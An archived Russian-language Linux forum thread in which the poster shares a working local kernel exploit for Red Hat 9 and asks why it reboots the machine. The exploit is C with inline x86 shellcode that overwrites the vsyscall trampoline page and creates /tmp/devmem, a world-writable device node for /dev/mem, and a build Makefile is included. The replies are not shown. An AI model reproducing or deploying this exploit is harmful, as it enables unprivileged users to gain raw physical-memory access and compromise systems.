Имеется одна программа для RH9.0. Делает /tmp/devmem с правами доступа 0777 (block 0101 == /dev/mem). Проблема в том, что при этом она уходит в reboot (/tmp/devmem после перезагрузки остается, но суть не в этом). Вопрос собственно почему уходим в reboot? P.S. Если вдруг кто запускать будет: учтите, что нужен 1 Гиг свободной виртуальной памяти или же overcommit_memory=1, иначе кина не будет (скорее всего это требование обязательно для того, чтобы не покрэшить ядро, а суметь получить что-то более полезное -- из-за того, что ядро проецирует ОЗУ на kvm через PSE страницы и само же не понимает их). Вот собственно программа и Makefile: #define __KERNEL__ #include <asm/pgtable.h> #include <asm/errno.h> extern int errno; char mystack[4096]; char tmpmemstr[] = "/tmp/devmem"; asm (" .align 4096 .globl expcode expcode: pushal movl $0, %ebx movl $60, %eax int $0x80 movl $0xfffff000, %ebx copy: subl $4, %ebx pushl (%ebx) cmpl $0xffffef00, %ebx jne copy movl %esp, %ebx movl $020777, %ecx movl $0x0101, %edx movl $14, %eax int $0x80 addl $0x100, %esp popal exit: int $0x80 ret .globl expcode_end expcode_end: "); extern unsigned char expcode, expcode_end; void do_main (long esp) { unsigned char *trampoline; unsigned char volatile dummy; unsigned int i; trampoline = __fix_to_virt (FIX_VSYSCALL); if (trampoline != 0xffffe000) { printf ("weird... but you still can try patching the asm code accordingly ;)\n"); exit (0); } munmap (esp & ~(4096 - 1), 0xc0000000 - (esp & ~(4096 - 1))); brk (0xfffff000); printf ("probing write @ %p\n", trampoline); sleep (1); *trampoline = 0xcd; *(trampoline+1) = 0x80; *(trampoline+2) = 0xc3; *(long*)(trampoline+3) = 0; printf ("probing read @ %p\n", trampoline); sleep (1); dummy = *trampoline; printf ("copying string %p->%p\n", tmpmemstr, trampoline+0xf00); sleep (1); for (i=0; tmpmemstr[i]; i++) { trampoline[0xf00+i] = tmpmemstr[i]; printf ("%x\n", i); } trampoline[0xf00+i] = 0; printf ("copying hook ->%p\n", trampoline); sleep (1); for (i=(unsigned int)&expcode; i<(&expcode_end+1); i++) { trampoline[i-(unsigned int)&expcode] = *(unsigned char *)i; } printf ("done\n"); sleep (1); do { access (tmpmemstr, 3); } while (errno == ENOENT); *(unsigned int *)trampoline = 0x00c380cd; *((unsigned int *)trampoline+1) = 0x00000000; if (errno != 0) perror ("bad luck"); else printf ("everything seems fine...\n"); for (;;) pause (); // Don't burn the CPU :) } int main () { register long esp asm ("esp"); register long oldesp = esp; esp = mystack+4096; do_main(oldesp); return 0; } all: gcc -static -g -I/lib/modules/`uname -r`/build/include -Wl,-Tdata,0xbfff0000 exp.c -o exp
Ответ на:
комментарий
от sS
Ответ на:
комментарий
от Murr
Ответ на:
комментарий
от idle
Ответ на:
Re:
от Murr
Ответ на:
Re:
от Murr
Ответ на:
Re:
от Murr
Ответ на:
комментарий
от idle
Ответ на:
Re:
от Murr
Ответ на:
Re:
от Murr
Ответ на:
Re:
от Murr
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.
Похожие темы
- Форум Как перезапускать программу в случае ее неудачного запуска. (2015)
- Форум Чтение выхлопа процесса без ожидания его завершения (2019)
- Форум Оптимизатор GCC 4.4 (2009)
- Форум [ЖЖ] видео с youtube'а снова в /tmp (2011)
- Форум Трабл с модулем (2005)
- Форум nfqueue вытащить данные пакете (2012)
- Форум Чтение запись COM порта (2018)
- Форум g++ expects argument (2013)
- Форум CPL3, Protected mode need help. (2005)
- Форум создание дочерних процессов_ (2010)